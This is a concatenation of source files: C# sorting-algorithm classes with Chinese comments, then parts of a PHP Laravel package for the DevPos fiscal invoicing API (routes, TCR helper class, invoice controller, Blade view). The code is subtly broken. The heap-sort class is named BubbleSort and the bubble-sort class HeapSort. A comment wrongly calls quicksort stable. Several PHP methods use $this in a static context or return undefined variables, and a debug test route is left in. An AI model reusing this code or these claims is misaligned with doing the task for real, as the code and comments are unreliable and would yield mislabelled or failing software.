for (int i = 0; i < iMaxLength; i++) //一共执行iMaxLength次,iMaxLength是元素的最大位数。
{
foreach (int number in nums)//分桶
{
currentItem = number.ToString(); //将当前元素转化成字符串
try
{
currnetChar = currentItem[currentItem.Length - i - 1]; //从个位向高位开始分桶
}
catch
{
listArr[0].Add(number); //如果发生异常,则将该数压入listArr[0]。比如说5是没有十位数的,执行上面的操作肯定会发生越界异常的,这正是期望的行为,我们认为5的十位数是0,所以将它压入listArr[0]的桶里。
continue;
}
switch (currnetChar)//通过currnetChar的值,确定它压人哪个桶中。
{
case '0':
listArr[0].Add(number);
break;
case '1':
listArr[1].Add(number);
break;
case '2':
listArr[2].Add(number);
break;
case '3':
listArr[3].Add(number);
break;
case '4':
listArr[4].Add(number);
break;
case '5':
listArr[5].Add(number);
break;
case '6':
listArr[6].Add(number);
break;
case '7':
listArr[7].Add(number);
break;
case '8':
listArr[8].Add(number);
break;
case '9':
listArr[9].Add(number);
break;
default:
throw new System.Exception("unknowerror");
}
}
for (int j = 0; j < listArr.Length; j++) //将十个桶里的数据重新排列,压入list
for (int k = 0; k < listArr[j].Count; k++)
{
list.Add(listArr[j][k]);
listArr[j].Clear();//清空每个桶
}
nums.Clear();
nums.AddRange(list);
list.Clear();//清空list
}
}
//得到最大元素的位数
private static int GetMaxLength(List<int> nums)
{
int iMaxNumber = System.Int32.MinValue;
foreach (int i in nums)//遍历得到最大值
{
if (i > iMaxNumber)
iMaxNumber = i;
}
return iMaxNumber.ToString().Length;//这样获得最大元素的位数是不是有点投机取巧了...
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【插入排序--希尔排序】
/// 希尔排序是把记录按下标的一定增量分组,对每组使用直接插入排序算法排序;
/// 随着增量逐渐减少,每组包含的关键词越来越多,当增量减至1时,整个文件恰被分成一组,算法便终止。
/// 不稳定 时间复杂度 O(n^(1.3—2)) 空间复杂度 O(1)
/// </summary>
public class ShellSort : SortBase
{
public override void Sort(List<int> nums)
{
int count = nums.Count;
for (int dk = count / 2; dk >= 1; dk /= 2)
{
// 增量为dk时,需要对dk个分组进行直接插入排序。
for(int groupIndex = 0; groupIndex < dk; groupIndex++)
ShellInsertSort(nums, dk, groupIndex);
}
}
// 使用直接插入排序做分组的排序
private void ShellInsertSort(List<int> nums, int dk, int groupIndex)
{
int count = nums.Count;
for(int i = groupIndex + dk; i < count; i += dk)
{
if(nums[i] < nums[i - dk])
{
int temp = nums[i];
int j = i - dk;
while(j >= 0 && nums[j] > temp)
{
nums[j + dk] = nums[j];
j -= dk;
}
nums[j + dk] = temp;
}
}
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【选择排序--堆排序】
/// 堆排序是指利用堆这种数据结构所设计的一种排序算法。
/// 堆是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。
/// 不稳定 时间复杂度 O(nlogn) 空间复杂度 O(1)
/// </summary>
public class BubbleSort : SortBase
{
public override void Sort(List<int> nums)
{
int count = nums.Count;
//这里元素的索引是从0开始的,所以最后一个非叶子结点array.length/2 - 1
for (int i = count / 2 - 1; i >= 0; i--)
{
AdjustHeap(nums, i, count); // 调整堆
}
// 上述逻辑,建堆结束
// 下面,开始排序逻辑
for (int j = count - 1; j > 0; j--)
{
// 元素交换,作用是去掉大顶堆
// 把大顶堆的根元素,放到数组的最后;换句话说,就是每一次的堆调整之后,都会有一个元素到达自己的最终位置
Swap(nums, 0, j);
// 元素交换之后,毫无疑问,最后一个元素无需再考虑排序问题了。
// 接下来我们需要排序的,就是已经去掉了部分元素的堆了,这也是为什么此方法放在循环里的原因
// 而这里,实质上是自上而下,自左向右进行调整的
AdjustHeap(nums, 0, j);
}
}
/// <summary>
/// 整个堆排序最关键的地方
/// </summary>
/// <param name="nums">待组堆</param>
/// <param name="rootIndex">起始结点</param>
private void AdjustHeap(List<int> nums, int rootIndex, int length)
{
// 先把当前元素取出来,因为当前元素可能要一直移动
int rootValue = nums[rootIndex];
for (int k = 2 * rootIndex + 1; k < length; k = 2 * k + 1)
{ //2*i+1为左子树i的左子树(因为i是从0开始的),2*k+1为k的左子树
// 让k先指向子节点中最大的节点
if (k + 1 < length && nums[k] < nums[k + 1])
{ //如果有右子树,并且右子树小于左子树
k++;
}
//如果发现结点(左右子结点)大于根结点,则进行值的交换
if (nums[k] > rootValue)
{
Swap(nums, k, rootIndex);
// 如果子节点更换了,那么,以子节点为根的子树会受到影响,所以,循环对子节点所在的树继续进行判断
rootIndex = k;
}
else
{ //不用交换,直接终止循环
break;
}
}
}
private void Swap(List<int> nums, int i, int j)
{
int temp = nums[i];
nums[i] = nums[j];
nums[j] = temp;
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【插入排序--直接插入排序】
/// 将一个记录插入到已排序好的有序表中,从而得到一个新,记录数增1的有序表。
/// 即:先将序列的第1个记录看成是一个有序的子序列,然后从第2个记录逐个进行插入,直至整个序列有序为止。
/// 时间复杂度 O(n^2) 空间复杂度 O(1)
/// </summary>
public class StraightInsertionSort : SortBase
{
public override void Sort(List<int> nums)
{
int count = nums.Count;
for(int i = 1; i < count; i++)
{
if(nums[i] < nums[i-1])
{
int temp = nums[i];
int j = i - 1;
while(j >= 0 && nums[j] > temp)
{
nums[j + 1] = nums[j];
j--;
}
nums[j + 1] = temp;
}
}
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【交换排序--冒泡排序】
/// 在要排序的一组数中,对当前还未排好序的范围内的全部数,自上而下对相邻的两个数依次进行比较和调整,让较大的数往下沉,较小的往上冒。
/// 即:每当两相邻的数比较后发现它们的排序与排序要求相反时,就将它们互换。
/// 稳定 时间复杂度 O (n^2) 空间复杂度 O(1)
/// </summary>
public class HeapSort : SortBase
{
public override void Sort(List<int> nums)
{
int count = nums.Count;
for(int i = 0; i < count - 1; i++)
{
for(int j = 0; j < count - i - 1; j++)
{
if(nums[j] > nums[j + 1])
{
int temp = nums[j];
nums[j] = nums[j + 1];
nums[j + 1] = temp;
}
}
}
}
/// <summary>
/// 冒泡排序的改进
/// 设置一标志性变量pos,用于记录每趟排序中最后一次进行交换的位置。
/// 由于pos位置之后的记录均已交换到位,故在进行下一趟排序时只要扫描到pos位置即可。
/// </summary>
void Bubble_1(List<int> nums)
{
int n = nums.Count;
int i = n - 1; //初始时,最后位置保持不变
while (i > 0)
{
int pos = 0; //每趟开始时,无记录交换
for (int j = 0; j < i; j++)
if (nums[j] > nums[j + 1])
{
pos = j; //记录交换的位置
int tmp = nums[j]; nums[j] = nums[j + 1]; nums[j + 1] = tmp;
}
i = pos; //为下一趟排序作准备
}
}
}
}
<file_sep>using System.Collections.Generic;
namespace SortAlgorithm
{
/// <summary>
/// 【交换排序--快速排序】
/// 通过一趟排序将要排序的数据分割成独立的两部分,其中一部分的所有数据都比另外一部分的所有数据都要小,
/// 然后再按此方法对这两部分数据分别进行快速排序,整个排序过程可以递归进行,以此达到整个数据变成有序序列。
/// 稳定 时间复杂度 O(nlogn) 空间复杂度 O(nlogn)
/// </summary>
public class QuickSort : SortBase
{
public override void Sort(List<int> nums)
{
DoQuickSort(nums, 0, nums.Count - 1);
}
private void DoQuickSort(List<int> nums, int low, int high)
{
if (low >= high)
return;
/*完成一次单元排序*/
int index = SortUnit(nums, low, high);
/*对左边单元进行排序*/
DoQuickSort(nums, low, index - 1);
/*对右边单元进行排序*/
DoQuickSort(nums, index + 1, high);
}
private int SortUnit(List<int> nums, int low, int high)
{
int key = nums[low];
while (low < high)
{
/*从后向前搜索比key小的值*/
while (nums[high] >= key && high > low)
--high;
/*比key小的放左边*/
nums[low] = nums[high];
/*从前向后搜索比key大的值,比key大的放右边*/
while (nums[low] <= key && high > low)
++low;
/*比key大的放右边*/
nums[high] = nums[low];
}
/*左边都比key小,右边都比key大。//将key放在游标当前位置。//此时low等于high */
nums[low] = key;
return high;
}
}
}
|
4f74c26b6f1881154f4dc1ff2abd283ec45fac55
|
[
"C#"
] | 9 |
C#
|
GuardLi/AlgorithmMarket
|
e61525c5df946e5bfb5ff3868ac29b52d705cad7
|
b48202c7794e4fdc30bd745a25d84759ff5a1edc
|
refs/heads/main
|
<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Facades\Http as BaseHttp;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Classes\Model;
class Http {
//list all tcr saved on devpos
public static function get() {
return $this->httpGet('/api/v3/Accounts');
}
public function post() {
return $this->httpGet('/api/v3/Accounts');
}
public function put() {
return $this->httpGet('/api/v3/Accounts');
}
public function delete() {
return $this->httpGet('/api/v3/Accounts');
}
}<file_sep><?php
use Illuminate\Support\Facades\Route;
use ErmirShehaj\DevPos\Http\Controllers\POSController;
use ErmirShehaj\DevPos\Http\Controllers\SupplierController;
use ErmirShehaj\DevPos\Http\Controllers\SupplierListController;
use ErmirShehaj\DevPos\Facades\DevPos;
/**
* DevPos routes
*/
Route::put('/invoices/{iic}/cancel', '\ErmirShehaj\DevPos\Http\Controllers\InvoiceController@cancel', ['as' => 'devpos']);
Route::put('/invoices/{iic}/correct', '\ErmirShehaj\DevPos\Http\Controllers\InvoiceController@correct', ['as' => 'devpos']);
Route::get('/invoices/export', '\ErmirShehaj\DevPos\Http\Controllers\InvoiceController@export', ['as' => 'devpos']);
Route::resource('/invoices', \ErmirShehaj\DevPos\Http\Controllers\InvoiceController::class, ['as' => 'devpos']);
Route::resource('/epurchase-invoices', \ErmirShehaj\DevPos\Http\Controllers\EPurchaseInvoiceController::class, ['as' => 'devpos']);
Route::resource('/einvoices', \ErmirShehaj\DevPos\Http\Controllers\EInvoiceController::class, ['as' => 'devpos']);
Route::get('/unfiscalized/export', '\ErmirShehaj\DevPos\Http\Controllers\UnfiscalizedController@export', ['as' => 'devpos']);
Route::resource('/unfiscalized', \ErmirShehaj\DevPos\Http\Controllers\UnfiscalizedController::class, ['as' => 'devpos']);
Route::resource('/accompanying-invoices', \ErmirShehaj\DevPos\Http\Controllers\AccompanyingInvoiceController::class, ['as' => 'devpos']);
Route::resource('/products', \ErmirShehaj\DevPos\Http\Controllers\ProductController::class, ['as' => 'devpos']);
Route::resource('/product-categories', \ErmirShehaj\DevPos\Http\Controllers\ProductCategoryController::class, ['as' => 'devpos']);
Route::resource('/units', \ErmirShehaj\DevPos\Http\Controllers\UnitController::class, ['as' => 'devpos']);
Route::resource('/product-groups', \ErmirShehaj\DevPos\Http\Controllers\ProductGroupController::class, ['as' => 'devpos']);
Route::resource('/customers', \ErmirShehaj\DevPos\Http\Controllers\CustomerController::class, ['as' => 'devpos']);
Route::resource('/client-cards', \ErmirShehaj\DevPos\Http\Controllers\ClientCardController::class, ['as' => 'devpos']);
Route::resource('/users', \ErmirShehaj\DevPos\Http\Controllers\UserController::class, ['as' => 'devpos']);
Route::resource('/roles', \ErmirShehaj\DevPos\Http\Controllers\RoleController::class, ['as' => 'devpos']);
Route::put('/tcr-balances/{balanceID}/fiscalize', '\ErmirShehaj\DevPos\Http\Controllers\TCRBalanceController@fiscalize')->name('devpos.tcr-balances.fiscalize');
Route::get('/tcr-balances/unfiscalized', '\ErmirShehaj\DevPos\Http\Controllers\TCRBalanceController@unfiscalized')->name('devpos.tcr-balances.unfiscalized');
Route::resource('/tcr-balances', \ErmirShehaj\DevPos\Http\Controllers\TCRBalanceController::class, ['as' => 'devpos']);
//Route::get('/tcrs/{tcr}/choose', [\ErmirShehaj\DevPos\Http\Controllers\TCRController::class, 'choose'], ['as' => 'devpos'])->name('tcrs.choose');
Route::post('/tcrs/choose', [\ErmirShehaj\DevPos\Http\Controllers\TCRController::class, 'choose'], ['as' => 'devpos'])->name('tcrs.choose');
Route::resource('/tcrs', \ErmirShehaj\DevPos\Http\Controllers\TCRController::class, ['as' => 'devpos']);
Route::resource('/pos', POSController::class, ['as' => 'devpos']);
Route::resource('/suppliers', SupplierController::class, ['as' => 'devpos']);
Route::resource('/supplier-lists', \ErmirShehaj\DevPos\Http\Controllers\SupplierListController::class, ['as' => 'devpos']);
Route::resource('/accounts', \ErmirShehaj\DevPos\Http\Controllers\AccountController::class, ['as' => 'devpos']);
Route::resource('/branchs', \ErmirShehaj\DevPos\Http\Controllers\BranchController::class, ['as' => 'devpos']);
Route::resource('/transporters', \ErmirShehaj\DevPos\Http\Controllers\TransporterController::class, ['as' => 'devpos']);
Route::resource('/carriers', \ErmirShehaj\DevPos\Http\Controllers\CarrierController::class, ['as' => 'devpos']);
Route::resource('/vehicles', \ErmirShehaj\DevPos\Http\Controllers\VehicleController::class, ['as' => 'devpos']);
Route::resource('/warehouses', \ErmirShehaj\DevPos\Http\Controllers\WareHouseController::class, ['as' => 'devpos']);
Route::resource('/currencies', \ErmirShehaj\DevPos\Http\Controllers\CurrencyController::class, ['as' => 'devpos']);
Route::resource('/taxpayer', \ErmirShehaj\DevPos\Http\Controllers\TaxPayerController::class, ['as' => 'devpos']);
Route::resource('/bank-payments', \ErmirShehaj\DevPos\Http\Controllers\BankPaymentController::class, ['as' => 'devpos']);
Route::get('/test', function() {
//text tcr
return DevPos::supplier()->cache(false)->list();
//test if access_token is saved to cache after authorized
//return Cache::get('devpos.pos');
//return Cache::forget('devpos.tcrtcr');
//test if access_token is saved to cache after authorized
//return Cache::get('devpos.access_token');
//authorize
//return DevPos::authorize();
});
<file_sep><?php
namespace ErmirShehaj\DevPos\Classes;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Validator;
use ErmirShehaj\DevPos\Facades\DevPos;
use ErmirShehaj\DevPos\Classes\Model;
/**
* Cache:
* $tcr->cache()->list(); //list all tcr and cache them
* $tcr->cache()->onFailCached()->list();
*/
/**
* TCR - is the class that will contain all methods for tcr
* Default we will cache list() methods results on 'tcr' key under 'devpos' prefix, but you can change it as:
* DevPos::tcr()->setCacheKey('key')->list();
*/
class TCR extends Model {
public function __construct() {
parent::__construct();
// //we will use 'tcr' as cache key for TCR.|||| Dont forget that we use prefix: devpos
//$this->setCache(false);
//$this->setCacheKey('tcr');
}
public function get() {
return $this->httpGet('/api/v3/TCR');
}
public function create($parameters = []) {
//first we validate the tcr
//do some validations
$validation = Validator::make($parameters, [
'name' => 'required|string|max:50',
'validFromDate' => 'nullable|date',
'validToDate' => 'nullable|date',
'type' => 'required|in:0,1', //['Regular Cash', 'Self-service cash box']
'businessUnitCode' => 'required|string|max:40', //tr758ei942
'tcrIntID' => 'required|numeric',
'pointsOfSaleId' => 'required|numeric',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//cast type to number
$parameters['type'] = (int)$parameters['type'];
$parameters['tcrIntID'] = (int)$parameters['tcrIntID'];
if (!empty($parameters['validFromDate']))
$parameters['validFromDate'] = date("c", strtotime($parameters['validFromDate']));
if (!empty($parameters['validToDate']))
$parameters['validToDate'] = date("c", strtotime($parameters['validToDate']));
return $this->post('/api/v3/TCR', $parameters);
}
public function show($id) {
return $this->httpGet('/api/v3/TCR/'. $id);
}
public function update($id, $parameters = []) {
//first we validate the tcr
//do some validations
$validation = Validator::make($parameters, [
'name' => 'required|string|max:50',
'validFromDate' => 'nullable|date',
'validToDate' => 'nullable|date',
'type' => 'required|in:0,1', //['Regular Cash', 'Self-service cash box']
//'businessUnitCode' => 'required|string|max:40', //tr758ei942
'tcrIntID' => 'required|numeric',
'pointsOfSaleId' => 'required|numeric',
]);
if ($validation->fails()) {
throw new \Illuminate\Validation\ValidationException($validation);
}
//cast type to number
$parameters['type'] = (int)$parameters['type'];
$parameters['tcrIntID'] = (int)$parameters['tcrIntID'];
//default data
//$parameters['businessUnitCode'] = DevPos::taxpayer()->get()['businessUnitCode'];
return $this->put('/api/v3/TCR/ChangeTCRValidTo', $parameters);
}
public function destroy($id) {
return $this->delete('/api/v3/TCR/'. $id);
}
public function fiscalizeTCR($id) {
return $this->delete('/api/v3/TCR/FiscalizeTCR/'. $id);
}
//list all tcr
public function listActiveTCR() {
$this->setCache(false)->httpGet('/api/v3/TCR/activeTCR');
}
//Update TCR Balance
public function updateTCRBalance($array = []) {
//do some validations
$validation = Validator::make($array, [
'tcrCode' => 'required|string|max:50', //ab750tb427
'operatorCode' => 'required|string|max:50', //emri i userit te sistemit, psh: vq961go132
'value' => 'required|numeric', //vlera
'changeDateTime' => 'required|datetime', //2021-04-21T11:21:45+02:00
'operation' => 'required|in:0,1,2', //0 : Deklarimi i arkës në fillim të ditës, 1 : Tërheqje e parave nga arka, 2 : depozitim i parave në arkë
'subsequentDeliveryType' => 'string|max:250',
]);
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
//now continue to perform the request
$response = $this->call($array);
}
/**
* Here we will put three helpers
* openBalance(), cashOut(), cashIn()
*/
public function isBalanceDeclared($tcr_code = null) {
//where $tcr_code is something like: fu087lt613
if (is_null($tcr_code)) {
//check for choosed tcr, saved on cache
$tcr_code = session()->get('tcr.fiscalizationNumber');
}
if (empty($tcr_code))
throw new \Exception('You have to choose first the tcr than check if it is declare!');
//return '/api/v3/TCR/IsBalanceDeclared/'. $tcr_code;
$response = $this->setCache(false)->bypassCache()->httpGet('/api/v3/TCR/IsBalanceDeclared/'. $tcr_code);
if ($response == 'true')
return true;
return false;
}
public function openBalance($parameters = []) {
//and example from devpos: {tcrId: 212, value: 2000, description: null, operation: 0, changeDateTime: "2021-10-22T00:38:34+02:00", subsequentDeliveryType: null}
//do some validations
$validation = Validator::make($parameters, [
'tcrId' => 'required|numeric', //tcr id not tcr_code
//'operatorCode' => 'required|string|max:50', //emri i userit te sistemit, psh: vq961go132
'value' => 'required|numeric', //vlera
'changeDateTime' => 'required|date', //2021-04-21T11:21:45+02:00
//'operation' => 'required|in:0,1,2', //0 : Deklarimi i arkës në fillim të ditës, 1 : Tërheqje e parave nga arka, 2 : depozitim i parave në arkë
'subsequentDeliveryType' => 'string|max:250',
]);
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
//fix changeDateTime
$parameters['changeDateTime'] = date("c", strtotime($parameters['changeDateTime']));
//in this situation we have operation = 0
$parameters['operation'] = 0;
//now continue to perform the request
return $this->post('/api/v3/TCRBalance', $parameters);
/**
* We expect to return an object like below:
*
* {
* "id": 8136,
* "value": 5000,
* "operatorCode": "wk477lv989",
* "operation": 0,
* "tcr": {
* "id": 238,
* "name": "<NAME>",
* "tcrIntID": 20,
* "fiscalizationNumber": "kz243yq652",
* "validFromDate": "2021-09-15T00:00:00",
* "type": 0,
* "tcrBalance": 0,
* "wareHouseId": 83,
* "pointsOfSaleId": 23,
* "isActive": false
* },
* "tcrCode": "kz243yq652",
* "changeDateTime": "2021-10-22T11:48:59+02:00",
* "fcdc": "13e036f3-4971-4d07-b1a5-819ef00be258"
* }
*/
}
public function cashOut($array = []) {
//do some validations
$validation = Validator::make($array, [
'tcrCode' => 'required|string|max:50', //ab750tb427
'operatorCode' => 'required|string|max:50', //emri i userit te sistemit, psh: vq961go132
'value' => 'required|numeric', //vlera
'changeDateTime' => 'required|datetime', //2021-04-21T11:21:45+02:00
//'operation' => 'required|in:0,1,2', //0 : Deklarimi i arkës në fillim të ditës, 1 : Tërheqje e parave nga arka, 2 : depozitim i parave në arkë
'subsequentDeliveryType' => 'string|max:250',
]);
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
//in this situation we have operation = '0'
$array['operation'] = '1';
//now continue to perform the request
return $this->updateTCRBalance($array);
}
public function cashIn($array = []) {
//do some validations
$validation = Validator::make($array, [
'tcrCode' => 'required|string|max:50', //ab750tb427
'operatorCode' => 'required|string|max:50', //emri i userit te sistemit, psh: vq961go132
'value' => 'required|numeric', //vlera
'changeDateTime' => 'required|datetime', //2021-04-21T11:21:45+02:00
//'operation' => 'required|in:0,1,2', //0 : Deklarimi i arkës në fillim të ditës, 1 : Tërheqje e parave nga arka, 2 : depozitim i parave në arkë
'subsequentDeliveryType' => 'in:0,1,2,3',
]);
if ($validation->fails()) {
return [
'Status' => 'error',
'Errors' => $validation->errors()
];
}
//in this situation we have operation = '2'
$array['operation'] = '2';
//now continue to perform the request
return $this->updateTCRBalance($array);
}
public function tcrReport($tcr_code) {
/**
* This method will return
*
* correctiveInvoices: 0
* tcrBalance: 2500
* totalInvoices: 0
* unfiscalizedInvoices: 0
*
*/
return $this->setCache(false)->httpGet('/api/v3/Report/'. $tcr_code);
}
public function unfiscalizedBalances() {
return $this->httpGet('/api/v3/TCRBalance/GetUnfiscalizedBalances');
}
}<file_sep><?php
namespace ErmirShehaj\DevPos\Http\Controllers;
use Illuminate\Routing\Controller;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Cache;
use ErmirShehaj\DevPos\Facades\DevPos;
use App\Http\Requests\PosRequest;
use \App\Models\Pos;
use DateTime;
class EPurchaseInvoiceController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index() {
//authorize first
//$this->authorize('menu', Pos::class);
if (request()->ajax()) {
$items = DevPos::epurchaseinvoice()->get();
return [
'Status' => 'OK',
'Data' => $items
];
}
// //get supplierList from devpos
// $warehouseTypes = DevPos::enum()->getInvoiceType();
//get supplierList from devpos
$tcrs = DevPos::tcr()->get();
//get supplierList from devpos
$paymentMethods = DevPos::enum()->getPaymentMethodTypes();
//get feeTypes from devpos
$feeTypes = DevPos::enum()->getFeeTypes();
//get feeTypes from devpos
$clientCardTypes = DevPos::enum()->getClientCardTypes();
//get typeOfSelfIssuing from devpos
$typesOfSelfIssuing = DevPos::enum()->getTypesOfSelfIssuing();
//get currencies from devpos
$currencies = DevPos::enum()->getCurrencies();
//get countries from devpos
$countries = DevPos::enum()->getCountries();
//get cities from devpos
$cities = DevPos::enum()->getCities();
//get cities from devpos
$banks = DevPos::account()->get();
//get cities from devpos
$idTypes = DevPos::enum()->getIdTypes();
//get cities from devpos
$eInvoiceStatuses = DevPos::enum()->getEInvoiceStatuses();
return view('devpos::epurchase-invoices', [
'title' => __('EPurchaseInvoices'),
'breadcrumb' => [
__('EPurchaseInvoices') => route('devpos.epurchase-invoices.index')
],
'menu' => 'devpos.epurchase-invoices',
//'items' => $items,
'tcrs' => $tcrs,
'paymentMethods' => $paymentMethods,
'feeTypes' => $feeTypes,
'clientCardTypes' => $clientCardTypes,
'typesOfSelfIssuing' => $typesOfSelfIssuing,
'currencies' => $currencies,
'countries' => $countries,
'cities' => $cities,
'banks' => $banks,
'idTypes' => $idTypes,
'eInvoiceStatuses' => $eInvoiceStatuses,
]);
}
/**
* Show the form for creating a new resource.
*
* @return \Illuminate\Http\Response
*/
public function create() {
//get supplierList from devpos
$tcrs = DevPos::tcr()->get();
//get supplierList from devpos
$paymentMethods = DevPos::enum()->getPaymentMethodTypesEinvoice();
//get feeTypes from devpos
$feeTypes = DevPos::enum()->getFeeTypes();
//get feeTypes from devpos
$clientCardTypes = DevPos::enum()->getClientCardTypes();
//get typeOfSelfIssuing from devpos
$typesOfSelfIssuing = DevPos::enum()->getTypesOfSelfIssuing();
//get currencies from devpos
$currencies = DevPos::enum()->getCurrencies();
//get countries from devpos
$countries = DevPos::enum()->getCountries();
//get cities from devpos
$cities = DevPos::enum()->getCities();
//get cities from devpos
$banks = DevPos::account()->get();
//get cities from devpos
$idTypes = DevPos::enum()->getIdTypes();
//get cities from devpos
$eInvoiceStatuses = DevPos::enum()->getEInvoiceStatuses();
//get cities from devpos
$einvoiceProcesses = DevPos::enum()->getEPurchaseInvoiceProcesses();
//get cities from devpos
$envoiceDocumentTypes = DevPos::enum()->getEPurchaseInvoiceDocumentTypes();
//get cities from devpos
$subsequentDeliveryTypes = DevPos::enum()->getSubsequentDeliveryType();
//get cities from devpos
$warehouses = DevPos::warehouse()->get();
return view('devpos::einvoice-new', [
'title' => __('EPurchaseInvoices'),
'breadcrumb' => [
__('EPurchaseInvoices') => route('devpos.epurchase-invoices.index'),
'New EPurchaseInvoice' => route('devpos.epurchase-invoices.create')
],
'menu' => 'devpos.epurchase-invoices',
//'items' => $items,
'tcrs' => $tcrs,
'paymentMethods' => $paymentMethods,
'feeTypes' => $feeTypes,
'clientCardTypes' => $clientCardTypes,
'typesOfSelfIssuing' => $typesOfSelfIssuing,
'currencies' => $currencies,
'countries' => $countries,
'cities' => $cities,
'banks' => $banks,
'idTypes' => $idTypes,
'eInvoiceStatuses' => $eInvoiceStatuses,
'warehouses' => $warehouses,
'einvoiceProcesses' => $einvoiceProcesses,
'envoiceDocumentTypes' => $envoiceDocumentTypes,
'subsequentDeliveryTypes' => $subsequentDeliveryTypes,
]);
}
/**
* Store a newly created resource in storage.
*
* @param \Illuminate\Http\Request $request
* @return \Illuminate\Http\Response
*/
public function store(Request $request) {
//authorize first
//$this->authorize('create', Pos::class);
try {
$item = DevPos::einvoice()->create($request->all());
}
catch(\Illuminate\Validation\ValidationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $request->all(),
'Errors' => $error->errors(),
];
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->response->json()['message'],
'Errors' => $error->response->json(),
'Data' => $request->all()
];
}
catch(\Symfony\Component\HttpKernel\Exception\HttpException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
catch(\Illuminate\Auth\AuthenticationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Authentication' => 'Unauthorized 401',
'Data' => $parameters
];
}
catch(\Exception $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $parameters
];
}
return response()->json([
'Status' => 'OK',
'Data' => $item,
]);
}
/**
* Display the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function show($id)
{
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function edit($id)
{
//
}
/**
* Update the specified resource in storage.
*
* @param \Illuminate\Http\Request $request
* @param int $id
* @return \Illuminate\Http\Response
*/
public function update(Request $request, $id) {
try {
//update supplier on devpos
$item = DevPos::invoice()->update($id, $request->all());
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => ['updated' => $item],
'Data' => ['updated' => $updated]
]);
}
/**
* Remove the specified resource from storage.
*
* @param int $id
* @return \Illuminate\Http\Response
*/
public function destroy($id)
{
//authorize action
//$this->authorize('delete', Pos::class);
try {
//delete supplier on devpos
$item = DevPos::invoice()->destroy($id);
}
catch(\Illuminate\Http\Client\RequestException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage()
];
}
return response()->json([
'Status' => 'OK',
'DevPos' => $item,
'Data' => $deleted,
'Msg' => $deleted == 0 ? 'Invoice deleted successfully':'Invoice didn\'t deleted successfully!'
]);
}
public function aprove($eic) {
try {
$data = DevPos::epurchaseinvoice()->aprove($eic);
return [
'Status' => 'OK',
'Msg' => 'Aproved successfully!',
'Data' => $data
];
}
catch(\Illuminate\Validation\ValidationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $eic,
'Errors' => $error->errors(),
];
}
catch(\Exception $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $eic
];
}
}
public function refuse($eic) {
try {
$data = DevPos::epurchaseinvoice()->refuse($eic);
return [
'Status' => 'OK',
'Msg' => 'Refused successfully!',
'Data' => $data
];
}
catch(\Illuminate\Validation\ValidationException $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $eic,
'Errors' => $error->errors(),
];
}
catch(\Exception $error) {
return [
'Status' => 'error',
'Msg' => $error->getMessage(),
'Data' => $eic
];
}
}
}
<file_sep>@extends('layouts.keen.template')
@section('subheader-buttons')
<div class="k-subheader__toolbar">
<div class="k-subheader__wrapper">
<a href="javascript:void(0);" class="btn btn-label btn-label-brand btn-bold" title="Edit" data-placement="top" onClick="DevPos.EInvoice.save();">
<i class="fa fa-save"></i> <span class="d-none d-md-inline"> {{ __('Save invoice') }}</span>
</a>
</div>
</div>
@endsection
@section('content')
<!-- begin:: Content -->
<div class="k-content k-grid__item k-grid__item--fluid" id="k_content">
<div class="row">
@if(Session::get('tcr.fiscalizationNumber'))
<div class="col-md-12 float-left reportAndListing order-xs-2 order-md-1" id="reportAndListing" style="overflow-x: hidden;">
<div class="k-portlet k-portlet--mobile">
<div class="k-portlet__head k-portlet__head--lg">
<div class="k-portlet__head-label">
<h3 class="k-portlet__head-title">
{{ __('New invoice') }}
<small></small>
</h3>
</div>
</div>
<div class="k-portlet__body k-portlet__body--fit">
<form class="k-form col-12 px-0" id="k_form_1" name="newInvoice" method="get" action="">
<div class="k-portlet__body">
<div class="form-group row mb-0 productsList not-parameters">
<div class=" col-md-8 offset-md-2 col-lg-6 offset-lg-3 mb-4 k-input-icon k-input-icon--left">
<input type="text" class="form-control " placeholder="{{__('Search products')}} ..." id="productSearch" name="productSearch">
<span class="k-input-icon__icon k-input-icon__icon--left">
<span><i class="la la-search"></i></span>
</span>
</div>
<div class="table-responsive">
<table class="table" id="productsList">
<thead class="thead-light">
<tr>
<th>{{__('Product')}}</th>
<th>{{__('Unit')}}</th>
<th style="width: 12%;">{{__('Quantity')}}</th>
<th>{{__('Price')}}</th>
<th style="width: 12%;">{{__('Discount')}}</th>
<th>{{__('Amount')}}</th>
